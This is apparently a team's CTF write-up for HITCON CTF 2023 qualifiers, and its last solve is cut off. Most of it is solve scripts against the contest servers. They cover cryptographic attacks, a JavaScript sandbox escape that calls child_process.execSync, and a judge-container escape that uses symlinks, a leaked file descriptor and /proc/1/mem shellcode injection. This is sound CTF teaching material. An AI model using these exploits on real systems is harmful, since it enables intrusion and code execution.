SuperFashi
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # HITCON CTF 2023 Quals 💦 **Blue Water** [TOC] --- ## crypto ### Share For the generated polynomial $f(x)$, we can get $f(1),f(2),...,f(n-1)$. So we can get $g(x)=f(x)\mod(x-1)(x-2)...(x-n+1)$. The degree of $f(x)$ is $n-1$, so $g(x)=f(x)-([x^{n-1}]f(x))(x-1)(x-2)... (x-n+1)$. $g(0)=f(0)+(-1)^{n}(n-1)![x^{n-1}]f(x)$. Due to the generation method, $[x^{n-1}]f(x)$ can take all $p-1$ values except $p-1$. And $f(0)$ remains unchanged. So $g(0)$ can take all $p-1$ values except $f(0)+(-1)^{n+1}(n-1)!$. We need about $p\log p$ queries to get all $p-1$ possible values. Then we can find the only impossible value and get $f(0)$, the secret number. ```python= from Crypto.Util.number import isPrime from pwn import * conn = remote('chal-share.chal.hitconctf.com', 11111) n = 14 m = 1 ans = 0 def ask(p: int) -> list[list[int]]: N = p * 10 b = str(p).encode() + b'\n' + str(n).encode() + b'\n' b *= N conn.send(b) gs = [] for _ in range(N): conn.recvuntil(b'shares = ') l = conn.recvline().decode().strip() gs.append([int(s) for s in l[1:-1].split(', ')]) return gs def work(p: int) -> int: d = set() while len(d) < p - 1: for g in ask(p): g0 = 0 for i in range(1, n): t = g[i - 1] for j in range(1, n): if j != i: t = t * (0 - j) * pow(i - j, -1, p) % p g0 = (g0 + t) % p d.add(g0) for i in range(p): if i not in d: t = -1 for j in range(1, n): t = t * (-j) % p return (i + t) % p for p in range(n + 1, 200): if isPrime(p): print(p) ans = ans * p * pow(p, -1, m) + work(p) * m * pow(m, -1, p) m *= p ans %= m print(ans, m) assert m > 1 << 256 and ans < 1 << 256 conn.send(b'0\n0\n') conn.sendlineafter(b'secret = ', str(ans).encode()) print(conn.recvall()) ``` ### Echo 1. Assume `t=bytes_to_long(b"echo '")`. Enumerate and find the `u,v` that satisfies `long_to_bytes(u),long_to_bytes(t*v),long_to_bytes(u*v)` all can be decoded and `long_to_bytes(u*v)` ends with `b"'"`. For some `i,j`, `long_to_bytes((t*256^i+u)*(256^j+v))` starts with b"echo '", ends with `b"'"`, and can be decoded. Construct `i1,j1,i2,j2` so that `i1,j1`, `i1,j2`, `i2,j1`, `i2,j2` all satisfy the conditions. `(a*b)*(c*d)=(a*d)*(c*b)`. Now we have `a1,b1,a2,b2` that satisfies `a1*b1=a2*b2` and can be generated by the server. And we can get `a1^d mod n,b1^d mod n,a2^d mod n,b2^d mod n`. So `(a1^d mod n)*(b1^d mod n)-(a2^d mod n)*(b2^d mod n)` is a multiple of `n`. Calculate the gcd for several such numbers. Then we can get `n`. 2. Get a command starting with `./give me flag please || ~~~`, which is equivalent to `echo '~~~'` under mod N, with LLL. ```python= from shlex import quote from Crypto.Util.number import * from pwn import * def ask(msg: str) -> str: return f"echo {quote(msg)}" print(ask('echo ') == "echo '" * 2) t = bytes_to_long(b"echo '") print(t) # a0 = [] # for i in range(10000): # try: # if "'" not in long_to_bytes(t * i).decode(): # a0.append(i) # except: # continue # for i in a0: # for j in a0: # try: # if long_to_bytes(i * j).decode()[-1] == "'": # print(i, j) # except: # continue u, v = 2169, 2207 conn = remote('chal-echo.chal.hitconctf.com', 22222) def work(n: int) -> int: a = [((t if i < 2 else 1) << 8 * n * (i + 1)) + (u if i < 2 else v) for i in range(4)] def get(t: int) -> bytes: return long_to_bytes(t)[6:-1] t02 = get(a[0] * a[2]) t03 = get(a[0] * a[3]) t12 = get(a[1] * a[2]) t13 = get(a[1] * a[3]) def ask(t: bytes) -> int: conn.recvuntil(b'> ') conn.sendline(b'1') conn.recvuntil(b'Enter message: ') conn.sendline(t) conn.recvline() return int(conn.recvline().decode().strip().split(': ')[-1]) a02 = ask(t02) a03 = ask(t03) a12 = ask(t12) a13 = ask(t13) return abs(a02*a13-a12*a03) from math import gcd n = work(10) for i in range(11, 100): n = gcd(n, work(i)) if n.bit_length() < 513 and n % 2 != 0 and n % 3 != 0: print(n) print(n.bit_length()) break def try_solving(n, ln): v = bytes_to_long(b'./give me flag please || ' + b'\x00' * ln + b' ') v -= bytes_to_long(b"echo '" + b'\x00' * ln + b"'") v %= n mat = [] MUL = 2^128 MUL2 = 2^64 for i in range(ln): row = [MUL * 256^(ln - i)] + [0] * i + [1] + [0] * (ln - i) mat.append(row) mat.append([MUL * n] + [0] * (ln + 1)) mat.append([-MUL * int(v)] + [0] * ln + [MUL2]) M = matrix(mat) res = M.LLL(eta=0.99) for row in res: if row[0] == 0 and row[-1] == MUL2: ans1 = b'./give me flag please || ' ans2 = [] print(row[1:ln + 1]) if not all(-126 <= v <= 126 for v in row[1:ln + 1]): continue print("YES") for i in range(1, ln + 1): for ch in range(11, 128): if chr(ch) in "\n'\"|&()": continue v = ch + row[i] if 0 <= v < 128 and v not in [ord('\n'), ord('"'), ord("'")]: ans1 += bytes([ch]) ans2.append(v) break else: break else: print(bytes(ans2)) try: bytes(ans2).decode() except UnicodeDecodeError: continue ans1 += b' ' tmp1 = bytes_to_long(ans1) tmp2 = bytes_to_long(b"echo '" + bytes(ans2) + b"'") assert tmp1 % n == tmp2 % n return ans1, bytes(ans2) ans = None while ans is None: for i in range(80, 120): print(i) res = try_solving(n, i) if res: ans = res print(res) break break conn.sendlineafter(b'> ', b'1') conn.sendlineafter(b': ', ans[1]) conn.recvuntil(b'Command: ') to_verify = conn.recvline().strip() assert bytes_to_long(to_verify) % n == bytes_to_long(ans[0]) % n conn.recvuntil(b'Signature: ') sig = conn.recvline().strip() conn.sendlineafter(b'> ', b'2') conn.sendlineafter(b': ', ans[0]) conn.sendlineafter(b': ', sig) conn.interactive() ``` ### Collision Just brute force the seed (`2**24` search space) and birthday it. Even a completely unoptimized pollard rho with distinguished points give answers in 5~6 seconds. brute_seed.cc ```cpp= #include<bits/stdc++.h> #include<omp.h> using namespace std; #define ull unsigned long long const int c=1,d=3; ull v0,v1,v2,v3; inline void SipRound() { v0+=v1; v2+=v3; v1=v1<<13|v1>>51; v3=v3<<16|v3>>48; v1^=v0; v3^=v2; v0=v0<<32|v0>>32; v2+=v1; v0+=v3; v1=v1<<17|v1>>47; v3=v3<<21|v3>>43; v1^=v2; v3^=v0; v2=v2<<32|v2>>32; } inline void init(ull k0,ull k1) { v0=0x736f6d6570736575^k0; v1=0x646f72616e646f6d^k1; v2=0x6c7967656e657261^k0; v3=0x7465646279746573^k1; } inline void update(ull msg) { v3^=msg; for(int i=0;i<c;i++)SipRound(); v0^=msg; } inline ull finalize() { v2^=0xff; for(int i=0;i<d;i++)SipRound(); return v0^v1^v2^v3; } inline void lcg(unsigned seed,unsigned char* c,size_t n) { unsigned x=seed; for(size_t i=0;i<n;i++) { x=x*214013+2531011; c[i]=x>>16&0xff; } } unsigned char m[8]; ull hs[1ull<<24]; int main(int argc, char *argv[]) { ull i,t; sscanf(argv[1],"%llx",&t); for(i=0;i<8;i++)m[i]=t>>(7-i<<3)&255; ull h=atoll(argv[2]); ull ans=0; ull sure=0; #pragma omp parallel for num_threads(12) private(v0,v1,v2,v3) reduction(+:ans) for(i=0;i<1ull<<24;i++) { ull k[2]; lcg(i,(unsigned char*)k,16); init(k[0],k[1]); update(*((ull*)m)); update(8ull << 56); if(finalize()==h) { // printf("%llu\n%llu\n", k[0], k[1]); ans+=i; sure=1; } } if (!sure) puts("nope"); else printf("%llu\n",ans); return 0; } ``` rho-collider.cc ```cpp= #include <csignal> #include <cstdio> #include <random> #include <cstdlib> #include <thread> #include <unistd.h> #include <utility> #include "parallel_hashmap/phmap.h" using ull = unsigned long long; namespace { constexpr int kDistingushedPointLeadingZeros = 16; class SipHash { static constexpr int c = 1, d = 3; ull v0, v1, v2, v3; inline void Round() { v0 += v1; v2 += v3; v1 = v1 << 13 | v1 >> 51; v3 = v3 << 16 | v3 >> 48; v1 ^= v0; v3 ^= v2; v0 = v0 << 32 | v0 >> 32; v2 += v1; v0 += v3; v1 = v1 << 17 | v1 >> 47; v3 = v3 << 21 | v3 >> 43; v1 ^= v2; v3 ^= v0; v2 = v2 << 32 | v2 >> 32; } public: SipHash(ull k0, ull k1) : v0(0x736f6d6570736575 ^ k0), v1(0x646f72616e646f6d ^ k1), v2(0x6c7967656e657261 ^ k0), v3(0x7465646279746573 ^ k1){}; void Update(ull msg) { v3 ^= msg; for (int i = 0; i < c; i++) Round(); v0 ^= msg; } ull Finalize() { v2 ^= 0xff; for (int i = 0; i < d; i++) Round(); return v0 ^ v1 ^ v2 ^ v3; } }; void LCG(unsigned seed, unsigned char *c, size_t n) { unsigned x = seed; for (size_t i = 0; i < n; i++) { x = x * 214013 + 2531011; c[i] = x >> 16 & 0xff; } } std::pair<ull, ull> ComputeK(ull seed) { ull k[2]; LCG(seed, (unsigned char *)k, 16); return {k[0], k[1]}; } ull salt; std::pair<ull, ull> the_k; ull F(ull x) { SipHash h(the_k.first, the_k.second); h.Update(salt); h.Update(x); h.Update(16ull << 56); return h.Finalize(); } bool IsDistinguishedPoint(ull x) { return __builtin_clzll(x) >= kDistingushedPointLeadingZeros; } // I should do this in a message passing style, but too tired ._. struct DistinguishedPointInfo { ull sp; ull distance; }; // Maps from the distinguished point to the info. phmap::parallel_flat_hash_map_m<ull, DistinguishedPointInfo> g_dp_info; std::optional<std::pair<ull, ull>> TryRecoverCollision(ull new_sp, ull new_distance, const DistinguishedPointInfo &old_dp) { // Repeated sp, unlucky :( if (old_dp.sp == new_sp) { fprintf(stderr, "Warning: saw repeated SP %llu, this should not happen " "frequently\n", new_sp); return {}; } ull lsp = new_sp; ull ssp = old_dp.sp; ull ldist = new_distance; ull sdist = old_dp.distance; if (ldist < sdist) { std::swap(lsp, ssp); std::swap(ldist, sdist); } ull last0 = lsp; ull last1 = ssp; while (ldist != sdist) { last0 = lsp; lsp = F(lsp); ldist--; } while (lsp != ssp) { last0 = lsp; last1 = ssp; lsp = F(lsp); ssp = F(ssp); } if (last0 != last1) { return std::make_pair(last0, last1); } return {}; } void Worker() { std::random_device rd; std::mt19937_64 gen(rd()); std::uniform_int_distribution<ull> dis(0, 0xffffffffffffffffull); auto GenerateStartingPoint = [&]() { return dis(gen); }; bool done = false; while (!done) { ull sp = GenerateStartingPoint(); ull cur = sp; ull distance = 0; while (!IsDistinguishedPoint(cur)) { cur = F(cur); distance++; } g_dp_info.try_emplace_l( cur, [sp, distance, &done](auto &val) { auto res = TryRecoverCollision(sp, distance, val.second); if (res.has_value()) { printf("%llu\n%llu\n", res->first, res->second); fflush(stdout); done = true; } }, DistinguishedPointInfo{sp, distance}); } // Kills the program once we found a collision. _exit(0); } } // namespace int main(int argc, char *argv[]) { sscanf(argv[1], "%llx", &salt); salt = __builtin_bswap64(salt); the_k = ComputeK(atoll(argv[2])); int kNumThreads = std::thread::hardware_concurrency(); std::thread threads[kNumThreads]; for (int i = 0; i < kNumThreads; i++) { threads[i] = std::thread(Worker); } for (int i = 0; i < kNumThreads; i++) { threads[i].join(); } return 0; } ``` solve.py ```python= from pwn import * import subprocess import time # r = process("./run.sh") r = remote("chal-collision.chal.hitconctf.com", 33333) def do_round(): r.recvuntil(b"salt: ") saltstr = r.recvline().decode() r.sendlineafter(b"m1: ", b"") r.sendlineafter(b"m2: ", b"00") empty_hash = int(r.recvuntil(b" !=", drop=True).decode()) seed = int(subprocess.check_output(["./seed", saltstr, str(empty_hash)], encoding="utf-8")) log.success(f"seed: {seed}") begin = time.monotonic() output = subprocess.check_output(["./coll", saltstr, str(seed)], encoding="utf-8").strip() end = time.monotonic() log.success(f"collider took {end-begin} seconds, output: {repr(output)}") a, b = map(int, output.splitlines()) a = p64(a).hex() b = p64(b).hex() log.success(f"collision {a=} {b=}") r.sendlineafter(b"m1: ", a.encode()) r.sendlineafter(b"m2: ", b.encode()) for i in range(8): do_round() r.interactive() ``` ### Random Shuffling Algorithm Without shuffling, it's just a simple broadcast attack with degree $11$. $\forall m\in msgs, \forall (pub,cur)\in (pubs,cts),\exists (a,b,c)\in cur, (a*m+b)^{11}-c\equiv0\pmod{pub}$. So $\forall m\in msgs, \forall (pub,cur)\in (pubs,cts),\prod_{(a,b,c)\in cur}((a*m+b)^{11}-c)\equiv0\pmod{pub}$. It's a broadcast attack with degree $44$. All $4$ $m$'s are solutions to the equation. Flag length is short. So a small root can be found quickly. Then we can reduce the degree to $33$ and find all other $3$ roots at once. The numbers and lattice's size are large. So we need to use flatter in Coppersmith. ### EZRSA 1. Send some points on singular curves, then acquire `n` 2. Recover `d` from singular curves. This is well written in https://rbtree.blog/posts/2020-04-18-singular-elliptic-curve/ 3. Recover `phi` for singular curves. Notice that `phi` is different by curves. 4. Multiply `phi` to random points. If the order of that point on either `F_p` or `F_q` is equivalent to singular curve ones, then we can recover either `p` or `q` by using GCD. 5. Recover `u, v` by using `two_squares` in sagemath. ```python= from pwn import * from tqdm import tqdm import gmpy2, os class ECRSA: # this is an implementation of https://eprint.iacr.org/2023/1299.pdf @staticmethod def gen_prime(sz): while True: u1 = getRandomNBitInteger(sz) u2 = getRandomNBitInteger(sz) up = 4 * u1 + 3 vp = 4 * u2 + 2 p = up**2 + vp**2 if isPrime(p): return p, up, vp @staticmethod def generate(l): p, up, vp = ECRSA.gen_prime(l // 4) q, uq, vq = ECRSA.gen_prime(l // 4) n = p * q g = ((p + 1) ** 2 - 4 * up**2) * ((q + 1) ** 2 - 4 * uq**2) while True: e = getPrime(l // 8) if gmpy2.gcd(e, g) == 1: break priv = (p, up, vp, q, uq, vq) pub = (n, e) return ECRSA(pub, priv) def __init__(self, pub, priv=None): self.pub = pub self.n, self.e = pub self.priv = priv if priv is not None: self.p, self.up, self.vp, self.q, self.uq, self.vq = priv def compute_u(self, a, p, u, v): s = gmpy2.powmod(a, (p - 1) // 4, p) if s == 1: return -u elif s == p - 1: return u elif s * v % p == u: return v else: return -v def encrypt(self, m): r = getRandomRange(1, self.n) a = (m**2 - r**3) * gmpy2.invert(r, self.n) % self.n E = Curve(self.n, a, 0) M = Point(E, r, m) C = self.e * M return int(C.x), int(C.y) def decrypt(self, C): if self.priv is None: raise Exception("No private key") xc, yc = C a = (yc**2 - xc**3) * gmpy2.invert(xc, self.n) % self.n Up = self.compute_u(a, self.p, self.up, self.vp) Uq = self.compute_u(a, self.q, self.uq, self.vq) phi = (self.p + 1 - 2 * Up) * (self.q + 1 - 2 * Uq) d = gmpy2.invert(self.e, phi) E = EllipticCurve(Zmod(self.n), [a, 0]) M = d * E(xc, yc) return M.xy() # int(M.x), int(M.y) def solve(): # r = process(['python3', 'server.py']) r = remote('chal-ezrsa.chal.hitconctf.com', 44444) def encrypt(m): r.sendlineafter(b'> ', b'1') r.sendlineafter(b'm = ', str(m).encode()) l = r.recvline().decode().strip()[1:-1].split(', ') return int(l[0]), int(l[1]) def decrypt(x, y): r.sendlineafter(b'> ', b'2') r.sendlineafter(b'C = ', f"{x} {y}".encode()) l = r.recvline().decode().strip()[1:-1].split(', ') return int(l[0]), int(l[1]) a, b = decrypt(4, 8) v1 = a^3 - b^2 a, b = decrypt(9, 27) v2 = a^3 - b^2 n = gcd(v1, v2) for i in range(2, 100): while n % i == 0: n //= i print("Got n") Zn = Zmod(n) d = (Zn(a) / Zn(b)) / (Zn(9) / Zn(27)) d = int(d) m = randint(1, n) x, y = encrypt(m) u, v = decrypt(x, y) a = (y**2 - x**3) * pow(x, -1, n) % n E = EllipticCurve(Zmod(n), [a, 0]) found_e = False for f in (Integer(d) / Integer(n)).continued_fraction().convergents()[1:]: k, e = f.numerator(), f.denominator() if int(e).bit_length() < 512: continue if int(e).bit_length() > 512: break M = e * E(u, v) Mx, My = M.xy() if Mx == x and My == y: found_e = True phi = (e * d - 1) // k break if not found_e: # Failed to find e r.close() return print("Got e and phi") while True: print("WOW") x, y = randint(1, n - 1), randint(1, n - 1) a = (y**2 - x**3) * pow(x, -1, n) % n E = EllipticCurve(Zmod(n), [a, 0]) try: phi * E(x, y) except ZeroDivisionError as exc: t = str(exc).split('Inverse of ')[1].split(' does not exist')[0] t = int(t) p = gcd(t, n) print(p) assert n % p == 0 q = n // p break print("Got p") up, vp = two_squares(p) uq, vq = two_squares(q) if phi % (p + 1 + 2 * up) == 0: up, vp = vp, up if phi % (q + 1 + 2 * uq) == 0: uq, vq = vq, uq assert phi == (p + 1 + 2 * vp) * (q + 1 + 2 * vq) priv = (p, up, vp, q, uq, vq) pub = (n, e) print("Got everything!") ec = ECRSA(pub, priv) r.sendlineafter(b'> ', b'3') for _ in tqdm(range(16)): r.recvuntil(b'C = ') l = r.recvline().decode().strip()[1:-1].split(', ') x, y = int(l[0]), int(l[1]) _, m = ec.decrypt((x, y)) r.sendlineafter(b'm = ', str(m).encode()) r.interactive() while True: solve() ``` ### Careless Padding If a block ends with `??ZXY...YYY`, it's possible to brute-force `X` by brute-forcing, hoping `X` becomes `Y` so unpadding function uses `Z`. Now we can guess all but the last byte of a block. Just enumerate it, guess other $15$ bytes and manually find the valid solution. ```python= from pwn import * from tqdm import tqdm import string CHARSET = [ord(v) for v in string.printable] r = remote('chal-careless-padding.chal.hitconctf.com', 11111) r.recvuntil(b'encrypted key: ') ct = bytes.fromhex(r.recvline().strip().decode()) sent_count = 0 def send(bs): global r, sent_count, ct b = ''.join(b.hex() + '\n' for b in bs).encode() r.send(b) s = 0 for _ in range(len(bs)): r.recvuntil(b'unlock:') l = r.recvline() assert b'What?' not in l if b'weirdo' not in l: s += 1 sent_count += len(bs) >> 4 if sent_count == 512: r.close() r = remote('chal-careless-padding.chal.hitconctf.com', 11111) r.recvuntil(b'encrypted key: ') ct = bytes.fromhex(r.recvline().strip().decode()) sent_count = 0 return s ct_len = len(ct) # # Find X % 16 # for i in range(16): # ct_2 = bytearray(ct) # ct_2[-48 + i] ^= 2 # if not send(ct_2): # X_16 = i # break X_16 = 13 # This is obvious, cuz ord('}') % 16 = 13 X = ord('}') # # Find the position of X # for i in range(16): # cnt = 0 # ct_bs = [] # for j in range(128): # ct_3 = bytearray(ct[-48:]) # ct_3[16 + i] ^= 1 # ct_3[X_16] = j << 1 # ct_bs.append(ct_3) # cnt = send(ct_bs) # print(chr(i), cnt) # if cnt != 1: # X_pos = i # break X_pos = 5 # ? ? ? ? | ? ? ? ? | ? ? ? ? | Y ? ? ? # ? ? ? ? | ? X Y Y | Y Y Y Y | Y Y Y Y # Find the value of Y by changing ct[-16 + 5] # for i in CHARSET: # changed_pos = i % 16 # ct_bs = [] # for j in range(128): # ct_b = bytearray(ct[-48:]) # ct_b[16 + 5] ^= i ^ X # ct_b[changed_pos] = j << 1 # ct_bs.append(ct_b) # cnt = send(ct_bs) # print(chr(i), cnt) # if cnt != 1: # Y = i # break flag_suf = b'p4dd1ng_w0n7_s4v3_y0u_Fr0m_4_0rac13_617aa68c06d7ab91f57d1969e8e8532}"}8888888888' recovered = bytearray(112 - 16 - len(flag_suf)) + bytearray(flag_suf) def guess(idx): block_offset = idx - idx % 16 if idx % 16 == 15: # I hope it's safe to guess that flag[idx - 1] != flag[idx] # Not implemented yet exit(0) for ch_mod in range(16): ct_bs = [] for i in range(128): ct_b = bytearray(16) + bytearray(ct[block_offset:block_offset + 32]) for j in range(idx % 16 + 1, 16): ct_b[16 + j] ^= recovered[block_offset + j] ct_b[ch_mod] = i << 1 ct_bs.append(ct_b) cnt = send(ct_bs) if cnt == 1: break else: # This means flag[idx] == 0 print("Something wrong") return -1 cands = [] for ch in CHARSET: if ch % 16 == ch_mod: cands.append(ch) print(idx, [chr(i) for i in cands]) for ch in cands: ct_bs = [] for i in range(128): ct_b = bytearray(16) + bytearray(ct[block_offset:block_offset + 32]) for j in range(idx % 16 + 1, 16): ct_b[16 + j] ^= recovered[block_offset + j] ct_b[16 + idx % 16] ^= ch ct_b[0] = i << 1 ct_bs.append(ct_b) cnt = send(ct_bs) if cnt != 1: break else: # When flag[idx - 1] % 16 == flag[idx] % 16 print("Failed on first try") # if idx % 16 == 0: # print(f"flag[{idx}] is difficult to guess. cands:", cands) # return cands[0] for ch in cands: ct_bs = [] for i in range(128): ct_b = bytearray(16) + bytearray(ct[block_offset:block_offset + 32]) for j in range(idx % 16 + 1, 16): ct_b[16 + j] ^= recovered[block_offset + j] ct_b[16 + idx % 16] ^= ch ct_b[(16 + idx % 16) - 1] ^= 1 ct_b[0] = i << 1 ct_bs.append(ct_b) cnt = send(ct_bs) print(ch, cnt) if cnt != 1: break else: print("Something wrong") return -1 return ch for i in reversed(range(112 - 16 - len(flag_suf))): if i % 16 != 15: res = guess(i) recovered[i] = res print(recovered) else: cands = [] for ch in CHARSET: recovered[i] = ch for j in range(1, 16): res = guess(i - j) if res == -1: break else: recovered[i - j] = res else: print(chr(ch), recovered) cands.append(ch) else: print("Something error") print(cands) exit(0) ``` ## forensics ### Not Just usbpcap PCAP that contains both HID data and a Bluetooth HCI trace. Decoding the HID first shows that there's a mouse pointer that clicks around inside some square (likely some kind of UI, Spotify?) together with keyboard inputs spelling out ``` radio.chal.hitconctf.com sorry, no flag here. try harder. but i can tell you that the flag format is hitcoin{lower-case-english-separated-with-dash} again, this is not the flag ;) c87631 ``` When looking at the HCI data, there's a lot of A2DP packets containing sound. I look at the SetConfiguration packet, and see that it sets the codec to AAC (MPEG-2,4) and the sample rate to 48000Hz. I dump all the packets using tshark, filtering the field `data.data`. They look like this ``` 47fc0000b08c800300ffff912121450... 47fc0000b08c800300ffff91214ccd3... 47fc0000b08c800300ffff91217a946... 47fc0000b08c800300ffff91211a945... 47fc0000b08c800300ffff91211a945... 47fc0000b08c800300ffff91211a946... ... ``` Which leads me to [this StackOverflow post](https://stackoverflow.com/questions/35915317/decode-mpeg-2-4-aac-lc-latm-bitstream-for-a2dp) where someone explains that this format is called LATM bitstream, and provide some [example code on how to decode it](https://gist.github.com/Arkq/66fe948c1051684d8909d730c34396d8). I modify this code to read each line from the tshark dump, and modify Bitreader.readbits to ```python def readbits(self, n, name): v = 0 bits = n while bits > 0: v = (v << 1) | self.readbit() bits -= 1 if name=="payload": self.buf.append(v) if name=="byteAlign": frames.append( bytes.fromhex("ff f1 4c 80 52 c2 70") + bytes(self.buf) ) return v ``` and join the frames to write them into a file. This appends a valid AAC header at the beginning of each decoded bitstream, where the length is correct. Now we have a crystal clear recording of someone spelling out the flag. Together with the USB-HID keyboard input, we add dashes between the lowercase words and submit. `hitcon{secret-flags-unveiled-with-bluetooth-radio}` ## misc ### Lisp.js `.` gives attribute access of JS objects. It's then a classical "where's my child_process module now" challenge. ``` (do (let f (fun () (do (. (. (. print "arguments") "0") "0") ) )) (let j2l (. (. ((. (. (. (. (. (. (. (. (. do "caller") "caller") "caller") "arguments") "1") "cache") "/app/runtime.js" ) "exports") "extendedScope")) "table") "j2l") ) (print ( (j2l (. ((j2l (. (. (. (. (. (. (. print "caller") "caller") "caller") "caller") "caller") "arguments") "1")) "child_process") "execSync")) "/app/readflag")) ) ``` ### HITOJ #### Level 1 The challenge reuses an existing judger implementation to implement a custom online judge. It displays full test case + stdout on the submission detail page. We did a brief probing of the environment and realized that for each submission the server spawns a container with the following entrypoint script: ```shell= #!/bin/bash if [[ "$$" != 1 ]]; then # pls don't do this exit fi workdir="/run/workdir" judgedir="/run/judge" testdir="$judgedir/testcases" result_path="$judgedir/result.log" src_path="$workdir/submission.py" exe_path="/usr/bin/python3" mkdir "$workdir" chmod 777 "$workdir" cd "$workdir" judge_test () { test_name="$1" real_input_path="$testdir/$test_name" input_file="./$test_name" output_file="./$test_name.out" status_file="./$test_name.json" ln -s "$real_input_path" "$input_file" touch "$output_file" "$status_file" chmod 600 "$status_file" /usr/lib/libjudger.so \ --max_cpu_time=1000 \ --max_real_time=2000 \ --max_memory=67108864 \ --max_stack=67108864 \ --max_output_size=65536 \ --exe_path="$exe_path" \ --args="-B" \ --args="$src_path" \ --env="PYTHONIOENCODING=utf-8" \ --input_path="$input_file" \ --output_path=/dev/stdout \ --error_path=/dev/null \ --log_path=/dev/stderr \ --status_path="$status_file" \ --seccomp_rule_name=general \ --uid=1337 \ --gid=1337 \ | base64 -w0 > "$output_file" jq \ --arg test "$test_name" \ --rawfile output "$output_file" \ -c -M \ '.test = $test | .output = $output' \ "$status_file" \ >> "$result_path" rm -f "$input_file" "$output_file" "$status_file" } for test_file in $(ls "$testdir"); do judge_test "$test_file" done ``` We then dumped `/usr/lib/libjudger.so` and found that it is largely the same as the open-source QDUOJ judger code, with the addition of a status file output. At this point we also identified a bug in the seccomp filter it installs: it allows the execve syscall, but only when the first argument is a `_config->exe_path`. Which means it checks that the pointer value (instead of the string pointed to) must be what was in `_config->exe_path`. If we can somehow recover the address it points to we can call execve with any argument we want. This does seem like the intended bug, since the challenge told us to run `/getflag give me flag`. We were then curious on how it works: as libseccomp sets no_new_privs bit before installing the seccomp filter, we can't gain new privilege via `execve`. Does it exploit the fact that a file can be only executable on Linux? To our surprise, the answer is no. The `/getflag` file is world-readable and we reversed it, it simply binds to a privileged port (321) and asks a network service to return the flag. We then determined that the `execve` bug is useless, and the challenge requires full escape to solve and spent time working on a full escape. The challenge author later changed the challenge and suddenly someone solved it. We checked again and found that there's still no privilege separation. At this point we were suspicious: is it that we don't need to be privileged to bind to :321? We quickly implemented what `/getflag` does and got the flag: ```python= import sys import os import base64 import socket n = int(input()) a, b = 0, 0 for _ in range(n): a, b = map(int, input().split()) print(a + b) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", 321)) rnd = os.urandom(256) sock.sendto(rnd, ("172.12.34.56", 1337)) buf, _ = sock.recvfrom(256) res = bytes([a ^ b for a, b in zip(buf[1:], rnd)]) print(res) except: import traceback traceback.print_exc(file=sys.stdout) ``` #### Level 2 The challenge author introduced the part 2 ~1 hour we solved the first part. This part fixed the bug that it takes no privilege to bind to :321, without changing anything else, and it was introduced as a revenge challenge of part 1. But by the analysis above we simply can't exploit the `execve` bug. At this point we asked challenge author if the `execve` bug is intended and if the challenge is broken again. The challenge author admitted that it's slightly fucked up, but indicated that the challenge is still solvable. So, full escape here we go. Check the `entrypoint.sh` and environment again, we immediately found a few suspicious stuff: 1. While most of the filesystem is mounted read-only, `/run/workdir` is not only writable, but *world*-writable. This means we can replace any file under this path to be a symbolic link. 2. `ln -s` does not replace an existing file and the judger opens the input file *before* dropping privilege. So if we replace the input file with a symbolic link to another file we can gain read-only access to arbitrary file as root. 3. Similar thing works for output file, but we can only write base64 encoded data, once. Upon a closer look we found that the judger, unlike most, does not close extra file descriptors and it leaks a writable fd to the status file! If we replace the status file with a symbolic link we... get arbitrary WRONLY fd opened as root. The challenge is then trivial to solve, just dump /proc/1/exe, find somewhere to put shellcode and hijack it with write access to `/proc/1/mem`: ```python= import sys import os import ctypes import contextlib def which_test_is_this(): for i in range(1, 6): if os.path.exists(f"/run/workdir/{i}.txt.out"): return i print("Cannot find which test is this") exit(1) TESTCASE = 